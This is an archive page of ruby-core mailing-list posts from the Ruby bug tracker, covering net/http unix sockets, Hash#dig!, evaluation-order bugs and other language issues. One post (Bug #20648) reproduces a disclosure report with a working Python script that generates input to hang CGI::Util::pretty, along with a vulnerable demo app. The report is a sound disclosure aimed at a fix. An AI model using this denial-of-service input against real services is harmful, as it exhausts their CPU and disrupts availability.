August 2024 - ruby-core - ml.ruby-lang.org

[ruby-core:118801] [Ruby master Feature#17166] net/http not supporting unix domain sockets
by hadmut (Hadmut Danisch) 06 Aug '24

06 Aug '24

Issue #17166 has been updated by hadmut (Hadmut Danisch). That's simply wrong. Several widely used apps offer their REST API over unix domain sockets for security reasons, e.g. LXD, snapd, docker, podman, which are just four of the most commonly used applications in the Linux world. How can you call it a "very fringe use case" and "extremely rare"? Missed the last 10 years of software development? ---------------------------------------- Feature #17166: net/http not supporting unix domain sockets https://bugs.ruby-lang.org/issues/17166#change-109357 * Author: hadmut (Hadmut Danisch) * Status: Third Party's Issue ---------------------------------------- Hi, meanwhile it's common and state of the art to offer rest apis not just over tcp/ip, but over unix domain sockets as well for machine-internal use and advanced security. Unfortunately net/http does not support unix domain sockets. Although there is a workaround with the gem net_http_unix / NetX::HTTPUnix, this is rather useless, since most programs, libs, gems (e.g. rest-client) are based on net/http. However, there's some security consideration. When evaluating e.g. HTML and accessing URLs, it could be harmful or leak information, if an URL point to some unix domain path could reveal information or allow to trigger something, e.g. tell through error messages whether a file exists or let someone unintentionally install a packet through ubuntu's snap mechanism (which is controlled through a unix domain socket with rest api). It should, however, be possible to use unix domain sockets (without workaround, third party gem or low level code). regards -- https://bugs.ruby-lang.org/

1 0

[ruby-core:118800] [Ruby master Feature#17166] net/http not supporting unix domain sockets
by byroot (Jean Boussier) 06 Aug '24

06 Aug '24

Issue #17166 has been updated by byroot (Jean Boussier). Status changed from Open to Third Party's Issue No it means it's a very fringe use case and nobody with that use case (including you) bothered to work on it. It's extremely rare to use HTTP over unix sockets, and even very popular HTTP libraries for very popular languages like Python's `requests` [don't support it and require monkey patching](https://github.com/msabramo/requests-unixsocket) and nobody calls Python dead. So if you really need this you are welcome to open a pull request at https://github.com/ruby/net-http ---------------------------------------- Feature #17166: net/http not supporting unix domain sockets https://bugs.ruby-lang.org/issues/17166#change-109356 * Author: hadmut (Hadmut Danisch) * Status: Third Party's Issue ---------------------------------------- Hi, meanwhile it's common and state of the art to offer rest apis not just over tcp/ip, but over unix domain sockets as well for machine-internal use and advanced security. Unfortunately net/http does not support unix domain sockets. Although there is a workaround with the gem net_http_unix / NetX::HTTPUnix, this is rather useless, since most programs, libs, gems (e.g. rest-client) are based on net/http. However, there's some security consideration. When evaluating e.g. HTML and accessing URLs, it could be harmful or leak information, if an URL point to some unix domain path could reveal information or allow to trigger something, e.g. tell through error messages whether a file exists or let someone unintentionally install a packet through ubuntu's snap mechanism (which is controlled through a unix domain socket with rest api). It should, however, be possible to use unix domain sockets (without workaround, third party gem or low level code). regards -- https://bugs.ruby-lang.org/

1 0

[ruby-core:118794] [Ruby master Feature#17166] net/http not supporting unix domain sockets
by hadmut (Hadmut Danisch) 05 Aug '24

05 Aug '24

Issue #17166 has been updated by hadmut (Hadmut Danisch). Now this is almost four years old without any reaction at all. Has anyone ever taken any notice of this problem, which affects a lot of people which are those REST API frameworks? Or is ruby dead, and it's time to find a new language? ---------------------------------------- Feature #17166: net/http not supporting unix domain sockets https://bugs.ruby-lang.org/issues/17166#change-109349 * Author: hadmut (Hadmut Danisch) * Status: Open ---------------------------------------- Hi, meanwhile it's common and state of the art to offer rest apis not just over tcp/ip, but over unix domain sockets as well for machine-internal use and advanced security. Unfortunately net/http does not support unix domain sockets. Although there is a workaround with the gem net_http_unix / NetX::HTTPUnix, this is rather useless, since most programs, libs, gems (e.g. rest-client) are based on net/http. However, there's some security consideration. When evaluating e.g. HTML and accessing URLs, it could be harmful or leak information, if an URL point to some unix domain path could reveal information or allow to trigger something, e.g. tell through error messages whether a file exists or let someone unintentionally install a packet through ubuntu's snap mechanism (which is controlled through a unix domain socket with rest api). It should, however, be possible to use unix domain sockets (without workaround, third party gem or low level code). regards -- https://bugs.ruby-lang.org/

1 0

[ruby-core:118621] [Ruby master Misc#20639] Request to host C API docs on docs.ruby-lang.org
by alanwu (Alan Wu) 02 Aug '24

02 Aug '24

Issue #20639 has been reported by alanwu (Alan Wu). ---------------------------------------- Misc #20639: Request to host C API docs on docs.ruby-lang.org https://bugs.ruby-lang.org/issues/20639 * Author: alanwu (Alan Wu) * Status: Open ---------------------------------------- Having a first-party documentation site benefits readers and helps contributors improve the contents. The Ruby standard library API benefits from being hosted on <https://docs.ruby-lang.org> and it would be nice if the C API documentation produced by Doxygen can be hosted on the same site as well. I'm not familiar with the logistics of hosting the documentation site, and traffic is not free. But I think this is worth considering for the benefit of Ruby extension authors and maintainers. At the moment, <https://github.com/ruby/actions> generates the documentation with Doxygen but it's not hosted anywhere as far as I can tell. Searching for "Ruby C API documentation" on Google lead to guides about the API and no results that provide a comprehensive up-to-date reference. -- https://bugs.ruby-lang.org/

3 5

[ruby-core:118778] [Ruby master Feature#14602] Version of dig that raises error if a key is not present
by jordan-brough (Jordan Brough) 02 Aug '24

02 Aug '24

Issue #14602 has been updated by jordan-brough (Jordan Brough). > Matz was interested in how dig_fetch or fetch_dig would sound to English native speakers. As a native english speaker, "dig_fetch" sounds natural and makes sense to me. ---------------------------------------- Feature #14602: Version of dig that raises error if a key is not present https://bugs.ruby-lang.org/issues/14602#change-109331 * Author: amcaplan (Ariel Caplan) * Status: Open ---------------------------------------- Currently, if I have a hash like this: ~~~ ruby { :name => { :first => "Ariel", :last => "Caplan" } } ~~~ and I want to navigate confidently and raise a KeyError if something is missing, I can do: ~~~ ruby hash.fetch(:name).fetch(:first) ~~~ Unfortunately, the length of the name, combined with the need to repeat the method name every time, means most programmers are more likely to do this: ~~~ ruby hash[:name][:first] ~~~ which leads to many unexpected errors. The Hash#dig method made it easy to access methods safely from a nested hash; I'd like to have something similar for access without error protection, and I'd think the most natural name would be Hash#dig!. It would work like this: ~~~ ruby hash = { :name => { :first => "Ariel", :last => "Caplan" } } hash.dig!(:name, :first) # => Ariel hash.dig!(:name, :middle) # raises KeyError (key not found: :middle) hash.dig!(:name, :first, :foo) # raises TypeError (String does not have #dig! method) ~~~ -- https://bugs.ruby-lang.org/

1 0

[ruby-core:118012] [Ruby master Misc#20509] Document importance of #to_ary and #to_hash for Array#== and Hash#==
by gettalong (Thomas Leitner) 02 Aug '24

02 Aug '24

Issue #20509 has been reported by gettalong (Thomas Leitner). ---------------------------------------- Misc #20509: Document importance of #to_ary and #to_hash for Array#== and Hash#== https://bugs.ruby-lang.org/issues/20509 * Author: gettalong (Thomas Leitner) * Status: Open ---------------------------------------- Both `Array#==` and `Hash#==` provide special behaviour in case the `other` argument is not an Array/Hash but defines the special `#to_ary`/`#to_hash` methods. Those methods are never called, they are just checked for existence. And if they exist, `other#==` is called to allow the `other` argument to decide whether the two objects are equal. I think this is worth mentioning in the documentation for `Array#==` and `Hash#==`. [Background: In my PDF library HexaPDF I have defined two classes `PDFArray` and `Dictionary` which act like Array and Hash but provide special PDF specific behaviour. For PDFArray I defined the `#to_ary` method but for Dictionary just the `#to_h` method. I have come across a bug where comparing Arrays with PDFArrays just works as it should be but comparing Hashes with Dictionaries doesn't due to the absence of `#to_hash` (it seems I removed `Dictionary#to_hash` in 2017 due to problems with automatic destructuring when passing a Dictionary as argument; from what I see that should be no problem anymore, so I will just add it back).] -- https://bugs.ruby-lang.org/

4 3

[ruby-core:118634] [Ruby master Bug#20640] Evaluation Order Issue in f(**h, &h.delete(key))
by jeremyevans0 (Jeremy Evans) 01 Aug '24

01 Aug '24

Issue #20640 has been reported by jeremyevans0 (Jeremy Evans). ---------------------------------------- Bug #20640: Evaluation Order Issue in f(**h, &h.delete(key)) https://bugs.ruby-lang.org/issues/20640 * Author: jeremyevans0 (Jeremy Evans) * Status: Open * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- Since Ruby 3.0, there is an evaluation order issue when passing a single keyword splat and a block pass expression that modifies the keyword splat: ```ruby def f(*a, **kw) kw[:a].class end h = {a: ->{}} f(**h, &h.delete(:a)) # Ruby 2.0 - 2.7: Proc # Ruby 3.0 - 3.4: NilClass ``` For single keyword splats followed by positional argument splats, this has been an issue since 3.3: ```ruby def f(*a, **kw) kw[:a].class end h = {a: ->{}} a = [] f(*a, **h, &h.delete(:a)) # Ruby 2.0 - 3.2: Proc # Ruby 3.3 - 3.4: NilClass ``` Ruby handles these issues for positional splats, duplicating the splatted array before evaluating post, keyword, or block argument expressions: ```ruby f(*a, a.pop) # post argument f(*a, **a.pop) # keyword splat argument f(*a, a: a.pop) # keyword argument f(*a, &a.pop) # block argument ``` So it should handle the case for a keyword splat that could potentially be modified by block argument expression. I'll submit a pull request shortly to fix this issue. -- https://bugs.ruby-lang.org/

4 5

[ruby-core:118010] [Ruby master Feature#20508] Explicit access to *, **, &, and ...
by bradgessler (Brad Gessler) 01 Aug '24

01 Aug '24

Issue #20508 has been reported by bradgessler (Brad Gessler). ---------------------------------------- Feature #20508: Explicit access to *, **, &, and ... https://bugs.ruby-lang.org/issues/20508 * Author: bradgessler (Brad Gessler) * Status: Open ---------------------------------------- I find debugging and certain meta-programming tasks challenging because there's no explicit APIs for accessing certain types of arguments in Ruby. Here's some example code: ```ruby def splats(one, *, two: nil, **, &) # These work p(*) p(**) # But the block doesn't show a proc. p(&) # This would show [:one, :two, :_] p binding.local_variables end splats(:arg, two: true) do 42 end ``` I'm not sure how to access the `&` variable, unless I name it. The same applies to endless ruby methods. I'd like to see a way to explicitly call bindings for those methods. Something like this (not sure if binding is the right place for it): ```ruby def splats(one, *, true: nil, **, &) binding.arguments # Returns an array binding.keyword_arguments # Returns a hash binding.block_argument # Returns a block end ``` These methods would give me access to the values used to call the method. -- https://bugs.ruby-lang.org/

5 4

[ruby-core:118672] [Ruby master Bug#20648] Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk)
by somehacker (Jacob Miller) 01 Aug '24

01 Aug '24

Issue #20648 has been reported by somehacker (Jacob Miller). ---------------------------------------- Bug #20648: Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk) https://bugs.ruby-lang.org/issues/20648 * Author: somehacker (Jacob Miller) * Status: Open * ruby -v: ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux] * Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN ---------------------------------------- I originally reported this bug as a security issue, because it can be used as a potential DOS vector for applications. It was decided that this issue wasn't a security issue, so I am just going to copy paste the original hackerone report here: The vulnerability exists here (in lib/cgi/util.rb): ``` def pretty(string, shift = " ") lines = string.gsub(/(?!\A)<.*?>/m, "\n\\0").gsub(/<.*?>(?!\n)/m, "\\0\n") end_pos = 0 while end_pos = lines.index(/^<\/(\w+)/, end_pos) element = $1.dup start_pos = lines.rindex(/^\s*<#{element}/i, end_pos) lines[start_pos ... end_pos] = "__" + lines[start_pos ... end_pos].gsub(/\n(?!\z)/, "\n" + shift) + "__" end lines.gsub(/^((?:#{Regexp::quote(shift)})*)__(?=<\/?\w)/, '\1') end ``` The while loop has poor time complexity when parsing html. This means that an attacker can use the following python script: ``` #!/bin/sh # This file is an exploit script to demonstrate algorithmic complexity denial of service in the ruby cgi module. import itertools import string out = "" # Final exploit string how_many_chars = 5 # Just use "ABCDE" for now... chars = string.ascii_uppercase[:how_many_chars] tags = list(itertools.product(list(chars), repeat=len(chars))) # Generate all permutations of those five characters tags = ["".join(tag) for tag in tags] print(tags) for tag in tags: out += "<" + tag + ">" for tag in reversed(tags): # Reverse tags and close the html tags in the reverse order. out += "</" + tag + ">" print(out) # Save the exploit string to "exploit.txt" fh = open("exploit.txt", "w") fh.write(out) fh.close() exit(0) ``` to create a file called "exploit.txt" which when passed to the pretty function causes it to hang. Example vulnerable application: ``` require 'cgi/util' include CGI::Util puts "This should hang with exploit.txt!!!" puts pretty(ARGF.read) puts "Done!" ``` I have attached these files as a zip. To observe the hang, just run ruby vuln.rb < exploit.txt to pass the exploit string to the "pretty" function. Note that this pretty function is used in the html method in lib/cgi/html.rb : ``` def html(attributes = {}) # :yield: if nil == attributes attributes = {} elsif "PRETTY" == attributes attributes = { "PRETTY" => true } end pretty = attributes.delete("PRETTY") pretty = " " if true == pretty buf = "".dup if attributes.has_key?("DOCTYPE") if attributes["DOCTYPE"] buf << attributes.delete("DOCTYPE") else attributes.delete("DOCTYPE") end else buf << doctype end buf << super(attributes) if pretty CGI.pretty(buf, pretty) else buf end end ``` therefore an attacker can cause a denial of service when the pretty function is used indirectly by passing the "PRETTY" attribute to the html method. Also note that this denial of service vulnerability is not due to the poor performance of the regular expressions used in the function (this is not a ReDOS bug), but due to the poor time complexity of the while loop. This means that the ReDOS protection introduced in ruby 3.2.0 (https://blog.kiprosh.com/ruby-3-2-0-introduce/) won't protect the victim in this case. Version information: ``` $ ruby -v ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux] ``` Impact This poor time complexity of this function can cause the victims CPU usage to jump very high while processing the attackers exploit. This overloading can impact service performance and can cause excessive resource consumption. It was later decided to treat this as a regular bug instead. ---Files-------------------------------- demofiles.zip (15.3 KB) -- https://bugs.ruby-lang.org/

2 1

[ruby-core:111272] [Ruby master Bug#19231] Integer#step and Float::INFINITY - inconsistent behaviour when called with and without a block
by andrykonchin (Andrew Konchin) 01 Aug '24

01 Aug '24

Issue #19231 has been reported by andrykonchin (Andrew Konchin). ---------------------------------------- Bug #19231: Integer#step and Float::INFINITY - inconsistent behaviour when called with and without a block https://bugs.ruby-lang.org/issues/19231 * Author: andrykonchin (Andrew Konchin) * Status: Open * Priority: Normal * ruby -v: 3.1.2 * Backport: 2.7: UNKNOWN, 3.0: UNKNOWN, 3.1: UNKNOWN ---------------------------------------- The initial issue was reported here https://github.com/oracle/truffleruby/issues/2797. `0.step(Float::INFINITY, 10)` returns: - `Integers` when called with a block - `Floats` when called without a block I would expect `Floats` to be returned in both cases. Examples: ```ruby 0.step(100.0, 10).take(1).map(&:class) # => [Float] ``` ```ruby 0.step(Float::INFINITY, 10) { |offset| p offset.class; break } # Integer ``` When `to` argument is a finite `Float` value then calling with a block returns `Floats` as well: ```ruby 0.step(100.0, 10) { |offset| p offset.class; break } # Float ``` Wondering whether it's intentional behaviour. I've found a related issue https://bugs.ruby-lang.org/issues/15518. -- https://bugs.ruby-lang.org/

6 6